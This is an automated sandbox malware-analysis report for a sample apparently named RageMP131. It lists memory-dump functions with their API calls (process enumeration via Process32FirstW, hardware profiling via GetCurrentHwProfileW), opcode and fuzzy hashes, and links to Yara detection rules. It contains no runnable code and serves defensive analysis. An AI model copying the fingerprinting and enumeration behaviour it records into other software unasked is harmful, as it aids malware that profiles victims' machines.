Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 5e2b90ba16eec4efb7ee9dd82f28f378c0a3318dd515155d582a96b544ccdc61
Instruction ID: 58f0e0a8846eef6088fefe326230c172c15528d5ea02e70c812dff6f2557eaf9
Opcode Fuzzy Hash: 5e2b90ba16eec4efb7ee9dd82f28f378c0a3318dd515155d582a96b544ccdc61
Instruction Fuzzy Hash: CB91C3EB14C121BDF34AC1966B5EAF76B6FE6D6330330853AF407D6D42E2984B495071

Function 053302AA Relevance: 1.9, APIs: 1, Instructions: 445COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: d5fa8e441ee9286db24ea2dac2dfc63a95ad13ac51fa0e5b86dab34d2c1a6cd1
Instruction ID: 6b6fdee9959bfcb9f6a3af01bc2be2ddd252cb54324b374bcc91135d87286931
Opcode Fuzzy Hash: d5fa8e441ee9286db24ea2dac2dfc63a95ad13ac51fa0e5b86dab34d2c1a6cd1
Instruction Fuzzy Hash: 5C91B0EB14C121BDF34AC1866B5EAFB6B6FE6D67303308536F807D6D42E2984B495071

Function 05330372 Relevance: 1.9, APIs: 1, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84dd6fe6ec9a985c8f32d2e85320d02b16f6973b510d9c29451facee13482ba8
Instruction ID: 9cf5126c999a1e73862ec2031a26f3278f03bc48d5fec5e9bb469320feb0dfc3
Opcode Fuzzy Hash: 84dd6fe6ec9a985c8f32d2e85320d02b16f6973b510d9c29451facee13482ba8
Instruction Fuzzy Hash: 9E81E2EB14C221BEF34AC1966B5EAF66B6FE6D6330330853AF447D6D42E2D80B495071

Function 053302F0 Relevance: 1.9, APIs: 1, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756c9a19ced66e2275f39f7460e1c328444764ca4b28c0d45cb740e4123390e9
Instruction ID: 70c2b77ae0d20a7e80ff0bcf6eb1dbd519197a3bfd8850c9ba61231d7901e246
Opcode Fuzzy Hash: 756c9a19ced66e2275f39f7460e1c328444764ca4b28c0d45cb740e4123390e9
Instruction Fuzzy Hash: B881C4EB14C221BDF34AC1856B5EAF76B6FE6D6730330813AF407D6D42E2980B495471

Function 0533039E Relevance: 1.9, APIs: 1, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d270439761678afa8db5589d0b33984e3a0f8b75892ae76d8ddcf3b7b5a419
Instruction ID: f05cb185bd2b7d4d0c2ac0bd2b41a3602589a53da748852cc2f57b9350aaf8dc
Opcode Fuzzy Hash: 07d270439761678afa8db5589d0b33984e3a0f8b75892ae76d8ddcf3b7b5a419
Instruction Fuzzy Hash: 1681D0EB14C220BDF34AC1866B5EAF76B6FE6D67303308536F447D6D42E2880B495471

Function 05330391 Relevance: 1.9, APIs: 1, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0d626a3d9924a45e1b19cc46de425c3a2bae9195e95e73fd627d399ce240cd
Instruction ID: b1464f076a16ee6a7414ef90c279100be31798597b7ec849c634cf259f24e151
Opcode Fuzzy Hash: 2d0d626a3d9924a45e1b19cc46de425c3a2bae9195e95e73fd627d399ce240cd
Instruction Fuzzy Hash: EC81C2EB14C221BDF34AC1866B5EAF76B6FE6D67303308536B807D6D42E2C80B495471

Function 05330331 Relevance: 1.9, APIs: 1, Instructions: 414COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 9e897723429a97caa52996910d5d9ebaa9487f5dc3e3a8d7387427999ebdc8be
Instruction ID: 2dfec046265fee8b00390edc2283965a7b0d63cd0c0be10e4269ca5af4f96bc7
Opcode Fuzzy Hash: 9e897723429a97caa52996910d5d9ebaa9487f5dc3e3a8d7387427999ebdc8be
Instruction Fuzzy Hash: 7B81A2EB14C221BDF34AC1966B5EAF76B6FE6D67303308536B807D6D42E2980B495071

Function 0533034A Relevance: 1.9, APIs: 1, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bf9c648ee26fffa028c8409a0836cce53cd79025af4b3b8a677d61da39236a2
Instruction ID: 44707ff76f22ab4e739f38e8e532d62a8cdd5d055c98176a2bc9e6aea3bd28d1
Opcode Fuzzy Hash: 1bf9c648ee26fffa028c8409a0836cce53cd79025af4b3b8a677d61da39236a2
Instruction Fuzzy Hash: E281C0EB14C221BDF34AC1866B5EAFA6B6FE6D67303308536F847D6D42E2980B495071

Function 053303F8 Relevance: 1.9, APIs: 1, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77e52748c096a3f43c02ae122cad917b6e272060639ede6275e50820be4964f
Instruction ID: 951a9ab79aa4eb84a1ca17a087e7b78b2c975f70d128ad5314b14233bc9893bf
Opcode Fuzzy Hash: e77e52748c096a3f43c02ae122cad917b6e272060639ede6275e50820be4964f
Instruction Fuzzy Hash: 9A71C2EB14C221BDF34AC1456B5EAFB676FE6D6730330813AF407D6D42E2940B495471

Function 05330444 Relevance: 1.9, APIs: 1, Instructions: 367COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: d8489054c53cc462cc112775f7e579b4ecb6456e1033d90d3c3999c8c9a01339
Instruction ID: 5e6d0b09eca9a493914b5c38ba762ddc27c31bd2cb45f90c7f14c5a075853337
Opcode Fuzzy Hash: d8489054c53cc462cc112775f7e579b4ecb6456e1033d90d3c3999c8c9a01339
Instruction Fuzzy Hash: DD719EEB14C121BDF30AC1466F6EAFB6B6FE6D67303308536B807D6D42E2980B495471

Function 05330437 Relevance: 1.9, APIs: 1, Instructions: 364COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: b3ce805d15a389e459d16727eb335ad90576ebcb7de6eb8505dd14b9c07c75b7
Instruction ID: 60d2f47f989e144dda5aafe512e782238b596602a1a97d61b4d678e1a7f5877b
Opcode Fuzzy Hash: b3ce805d15a389e459d16727eb335ad90576ebcb7de6eb8505dd14b9c07c75b7
Instruction Fuzzy Hash: 05618DEB14C121BDF34AC1466F6EAFB6A6FE6D6730330853AF807D6D42E2980B495071

Function 0533042B Relevance: 1.9, APIs: 1, Instructions: 363COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: a957c45f8e87244c2733b813ef3821ad6558cda61e298ce1a92e64d8632a7e9e
Instruction ID: df113efd8c7eaaf21153425d4ea9146e239c9071e744898519217b2c1f53fd78
Opcode Fuzzy Hash: a957c45f8e87244c2733b813ef3821ad6558cda61e298ce1a92e64d8632a7e9e
Instruction Fuzzy Hash: 0C618FEB14C121BDF34AC1466F6EAFB6A6FE6D67303308536B807D6D42E2880B495471

Function 0533041E Relevance: 1.9, APIs: 1, Instructions: 356COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 638e3b50d5359cef5d22068d4e8744aa46a5c442c2c23723fe8a6fab9bda7f34
Instruction ID: db09440fea63dfbe3f640e14ed11134b847e32b2ec94454c56c1b541cd80d7a2
Opcode Fuzzy Hash: 638e3b50d5359cef5d22068d4e8744aa46a5c442c2c23723fe8a6fab9bda7f34
Instruction Fuzzy Hash: 42618DEB14C221BDF34AC1466F6EAFB6A6FE6D67303308536B807D6D42E2880B495071

Function 05330475 Relevance: 1.9, APIs: 1, Instructions: 356COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: cacd7976e8ef67b25eb909df8fed81e36d05452389b0216dc602e2924117b4d6
Instruction ID: 4639655b78a6d2d6914ba892c533eea4992aa2f4a6fdd6760e6612e170d4a30a
Opcode Fuzzy Hash: cacd7976e8ef67b25eb909df8fed81e36d05452389b0216dc602e2924117b4d6
Instruction Fuzzy Hash: 1461A0EB14C221BDF34AC1466F6EAF66B6FE6D2730330857AF843D6D42E2880B495071

Function 05330462 Relevance: 1.9, APIs: 1, Instructions: 355COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: bbec64fa8339d9af854228e56d1e8d3c2b917a081399c3209bc2dc5d68c15b9e
Instruction ID: 0ac826dddf18c763ffadc05a2884d638dfeb8fb39ef3018379a8e6bb18e90c52
Opcode Fuzzy Hash: bbec64fa8339d9af854228e56d1e8d3c2b917a081399c3209bc2dc5d68c15b9e
Instruction Fuzzy Hash: A56170EB14C121BDF34AC1466F6EAFA6B6FE6D67303308536B807D6D46E2880B495071

Function 053304A8 Relevance: 1.9, APIs: 1, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a529f0b17895a5ead3c868be466c0064d4badc4fc3b9a9223e64831800c99b05
Instruction ID: 65f1add8a6be25b3048c93bba3051b131a2bdcfe8b224124cf227f61b989eb4f
Opcode Fuzzy Hash: a529f0b17895a5ead3c868be466c0064d4badc4fc3b9a9223e64831800c99b05
Instruction Fuzzy Hash: F961AFEB14C221BDF34AC1466F6EAFA6B6FE6D67303308536F847D6D42E2880B495071

Function 053304B7 Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 1df60a6086b96a361e646a39623c9629fde932657bdc63a1430f099595a27d07
Instruction ID: 4a378dd5c9d803c7785d9198487a2324f4f00fac8f73d03612b0afc9ab8266d0
Opcode Fuzzy Hash: 1df60a6086b96a361e646a39623c9629fde932657bdc63a1430f099595a27d07
Instruction Fuzzy Hash: FF618DEB14D121BDF30AC1566F6EAFB6A6FE1D67303308536F847DAD46E2880A4E5071

Function 053B0061 Relevance: 1.8, APIs: 1, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: ee65c503481774540da2f6a1bf5771c44e6d38aa897e0de39f3b52061431cacd
Instruction ID: 6a6c4f35ebe0d4b45d9e1d154b16784831bfc20888774869d0fc10d280dd5588
Opcode Fuzzy Hash: ee65c503481774540da2f6a1bf5771c44e6d38aa897e0de39f3b52061431cacd
Instruction Fuzzy Hash: 4751A0EB24C111BDB60AC1952B6CAFB676FE6C67307308526FA0BD5D02E6D44A8A1531

Function 053B0070 Relevance: 1.8, APIs: 1, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 5b6a0fa52b1cd3c49da89ae18e605ee9dee23f7ab834bdbc5193589c9ff283d3
Instruction ID: eb6b736ec94dd7fefe6bbc99fb6e3182ff9de679187a296f693da7ba1883ef7e
Opcode Fuzzy Hash: 5b6a0fa52b1cd3c49da89ae18e605ee9dee23f7ab834bdbc5193589c9ff283d3
Instruction Fuzzy Hash: 4851AFEB24C111BDB60AC1952B6CEFB676FE6C67307308526FA0BD5D02E6D44A8E1531

Function 053B0127 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 4dcb19e98e055b4f94b8ab27bd04b94fee21125dc124d659f6d99abcebee9317
Instruction ID: 5b8387ff9521bbb1888d42e602e01524e4bb9dec926a5da31f06304acf24e301
Opcode Fuzzy Hash: 4dcb19e98e055b4f94b8ab27bd04b94fee21125dc124d659f6d99abcebee9317
Instruction Fuzzy Hash: D551B1EB24C214BDB20AC5952B6CEFB6B6FE6C67307308527FA07D9D02E2C44A4E5571

Function 053B00DB Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 72d9bc1201eaff0e9ee9d6a3b704cc41cb5177fed4cb43d16ae73b78b0cc5f44
Instruction ID: 520821e89220524595b409c24bbae30b656dbdb3091b6ae6ae39fae78ff39fe8
Opcode Fuzzy Hash: 72d9bc1201eaff0e9ee9d6a3b704cc41cb5177fed4cb43d16ae73b78b0cc5f44
Instruction Fuzzy Hash: 6E51D6EB24C214BDB60AC1952B6CEFB676FE6C6730730852BF607D9D02E2C44A4E1571

Function 053B00C3 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: cc3880a1426b4ed0b1b16f144a870ab3d140017614c3e13bd790df4c37d9e3c2
Instruction ID: d70c25f690cf490695cc6472c7ada97f4b3b66520e06ffeca442e5eeb4cd35ec
Opcode Fuzzy Hash: cc3880a1426b4ed0b1b16f144a870ab3d140017614c3e13bd790df4c37d9e3c2
Instruction Fuzzy Hash: 7851B2EB14C110BDB60AC1852B6CEFB6B6FE6C67307308467FA07D9D02E6C44A8E1531

Function 053B00A4 Relevance: 1.8, APIs: 1, Instructions: 311COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 2c37a92f51d94ecff6f7f8ec3906ad2e1888e392bafd1d1924df9b3e148d471c
Instruction ID: 854696aa488c9cc8a7ffa21b638847cf6ef5d96fc0bb2e18e0020152d056db12
Opcode Fuzzy Hash: 2c37a92f51d94ecff6f7f8ec3906ad2e1888e392bafd1d1924df9b3e148d471c
Instruction Fuzzy Hash: 94518FFB24C114BDB64AC1852B6CEFB676FE6C6730730852AFA0BD5D02E6D44A8E1531

Function 05330538 Relevance: 1.8, APIs: 1, Instructions: 302COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 629bc7c20bf49e4a473cf2e1058ffc2bc90102a6b453cf6a3ee40f9994a4ab59
Instruction ID: 056f5c3af6f10039b8ddbb4cc573ad63468a740552401e40c6c517ae0a6663fa
Opcode Fuzzy Hash: 629bc7c20bf49e4a473cf2e1058ffc2bc90102a6b453cf6a3ee40f9994a4ab59
Instruction Fuzzy Hash: 87518DEB24D121BDF30AC1566F6EAFB5A6FE1D67303308536F847DAD46E2884A4E1071

Function 0533055D Relevance: 1.8, APIs: 1, Instructions: 299COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 2107b9b15714b816190846826660b0ea63a17646d66716f31ea5310b54167838
Instruction ID: d1ec60f155fd612ce1e9a5e995113d6d002da1175e16e82398867e6f9bb65eef
Opcode Fuzzy Hash: 2107b9b15714b816190846826660b0ea63a17646d66716f31ea5310b54167838
Instruction Fuzzy Hash: 4E517DEB24D121BDF24AC0466F6EEFB5A6FD1D6730330853AF847DAD46E2884A4E1071

Function 05330569 Relevance: 1.8, APIs: 1, Instructions: 295COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 1e795ae23df1631404bdc94d23ea6224ae76df1f7fee964c14381f785578787d
Instruction ID: 04e560449074a2f52805a9fee992b5d14c002764f7b737ddbb29aab8ab6f5a4a
Opcode Fuzzy Hash: 1e795ae23df1631404bdc94d23ea6224ae76df1f7fee964c14381f785578787d
Instruction Fuzzy Hash: CC519EEB24C121BDF20AC0526F6EEFB5A6FD1D67303308536F847DAD46E2880A4E1071

Function 053B0137 Relevance: 1.8, APIs: 1, Instructions: 287COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: e0c3b73276ee49abb78b35e0dd5c882fefde73c1004c898b52af93fb43a9bcef
Instruction ID: 68761e1fc13942fbc922a8fd98a6b8f27d928c0228d33532eade36e23b1bd5db
Opcode Fuzzy Hash: e0c3b73276ee49abb78b35e0dd5c882fefde73c1004c898b52af93fb43a9bcef
Instruction Fuzzy Hash: 015180EB24C124BDB64AC1852B6CEFB676FE2C6730730C526FA0BD5D02E6D44A4E1531

Function 05330606 Relevance: 1.8, APIs: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 111e72a1738b9f89d8b1f51cafb23f3a2d13ebb75a372518f3600185448d70f1
Instruction ID: 1a06fdf6803a3cc0a94e7e059db0d23aaca4b339f889166f00d3d518d531fa5d
Opcode Fuzzy Hash: 111e72a1738b9f89d8b1f51cafb23f3a2d13ebb75a372518f3600185448d70f1
Instruction Fuzzy Hash: AB519FEB24D121BDF30AC0526F6EAFB5A2FD1D67303308536F847DAD46E2884A4E1071

Function 053B016B Relevance: 1.8, APIs: 1, Instructions: 272COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 642f1f7d7a4ff27cb008ebe55da3243804e9ab05955dc6936bff392d296bc948
Instruction ID: d76c518b2cd00d3eab36e7eba4e2daa4ee036041a367c32bd3ffb4f914d53fa2
Opcode Fuzzy Hash: 642f1f7d7a4ff27cb008ebe55da3243804e9ab05955dc6936bff392d296bc948
Instruction Fuzzy Hash: 725171FB14C225BDB619C1952B2CEFB676FE6C6730730852AFA07D9D02E2C54A4E1531

Function 053305B4 Relevance: 1.8, APIs: 1, Instructions: 267COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: ac1ce60384c1e6439ee288e1f784b86622061950d6d370103b25e80804783d92
Instruction ID: 1f89d807b2d3e25d3c3d63e92565142e0110511b66050fa26dd23441091d486a
Opcode Fuzzy Hash: ac1ce60384c1e6439ee288e1f784b86622061950d6d370103b25e80804783d92
Instruction Fuzzy Hash: 5751A2EB14C121BEF30AC1526F6EAFB6B6FD1D67303308576F847DAD46E2884A4A5071

Function 053B0190 Relevance: 1.8, APIs: 1, Instructions: 259COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 61329e79aed06ad627055b2a575d326ec2d55b8eff1c646f71962b257a4152e9
Instruction ID: 3ebea591f6fb2ce6d9edf056330f94001781afdee3dd597645c2a7598b934b24
Opcode Fuzzy Hash: 61329e79aed06ad627055b2a575d326ec2d55b8eff1c646f71962b257a4152e9
Instruction Fuzzy Hash: CF416FEB24C114BDB549C1952B2CEFB576EE6C67307308526FA0BD9D02E6D44A8E1531

Function 05330620 Relevance: 1.8, APIs: 1, Instructions: 254COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 272ee5b18ab7a02f323ccade60712462c6bb09c00280adfc6d9e5d1d6021af78
Instruction ID: 9f0f313088bdcf62e7b1ffb631f6f76af2b404b0658d0f03043c50a84856677f
Opcode Fuzzy Hash: 272ee5b18ab7a02f323ccade60712462c6bb09c00280adfc6d9e5d1d6021af78
Instruction Fuzzy Hash: 47419EEB14C121BDF30AC1526F6EAFB5A2FD1D67303308536F847EAD46E2884A4E1071

Function 0533062F Relevance: 1.8, APIs: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: d206c59be1201dc7e97e538ad6add275af339adc85a9b11603b70c6eb6935ac4
Instruction ID: fb33f0faef7d7ec0a6fcbf00ea6a8abfb838773203ed94d4714cc3852d7a2c06
Opcode Fuzzy Hash: d206c59be1201dc7e97e538ad6add275af339adc85a9b11603b70c6eb6935ac4
Instruction Fuzzy Hash: 0851C4EB14D121BDF30AC1526F6EAFA6B6FE5D27303308536F803DAD46E2844A4E1471

Function 0533064E Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Process32FirstW.KERNEL32(?,?,?,053302A4), ref: 05330665

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
